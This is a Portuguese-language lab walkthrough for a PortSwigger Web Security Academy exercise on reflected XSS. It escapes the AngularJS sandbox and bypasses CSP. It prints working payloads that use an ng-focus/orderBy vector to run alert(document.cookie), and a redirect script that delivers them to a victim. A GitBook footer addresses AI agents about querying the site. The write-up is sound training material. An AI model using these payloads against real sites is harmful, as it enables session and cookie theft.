> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/xss/angularjs-sandbox-escape-with-csp.md).

# Escape de Sandbox do AngularJS com CSP

### XSS refletido com escape do sandbox do AngularJS e CSP

Realize um ataque de cross-site scripting refletido que contorna a Política de Segurança de Conteúdo, sai do sandbox do AngularJS e é executado `alert(document.cookie)`.

**Comentários**/ O site usa uma política CSP que impede a execução de scripts a partir de um domínio externo:

```javascript
default-src 'self'; script-src 'self'; style-src 'unsafe-inline' 'self'
```

<figure><img src="/files/7f2afa158014fe15211d80f29058c07615b4f721" alt=""><figcaption></figcaption></figure>

Ao consultar a folha de dicas da PortSwigger, identificamos um vetor funcional do AngularJS que força a avaliação por meio de um `orderBy` filtro aplicado ao `$event.composedPath()` evento.

<figure><img src="/files/1933b93e248efb634c5078704c679509eec6f745" alt=""><figcaption></figcaption></figure>

* Para disparar um alerta:

```javascript
<input id=x ng-focus=$event.composedPath()|orderBy:'(z=alert)(1)'>
```

<figure><img src="/files/336e415a72ede4aa1769fba5af7d2ce888fd97a6" alt=""><figcaption></figcaption></figure>

* Para exibir o valor de `document.cookie`:

```javascript
<input id=x ng-focus=$event.composedPath()|orderBy:'(z=alert)(document.cookie)'>
```

Exemplo de URL construída para entregar o payload e forçar a execução no lado da vítima:

```javascript
<script>
location = 'https://0a7d008d035a764f8087997e004a0051.web-security-academy.net/?search=<input id=x+ng-focus=$event.composedPath()|orderBy:%27(z=alert)(document.cookie)%27>#x';
</script>
```

<figure><img src="/files/43dc64a2ec2e2aaca855114a5a04eb22fa83fe57" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/xss/angularjs-sandbox-escape-with-csp.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
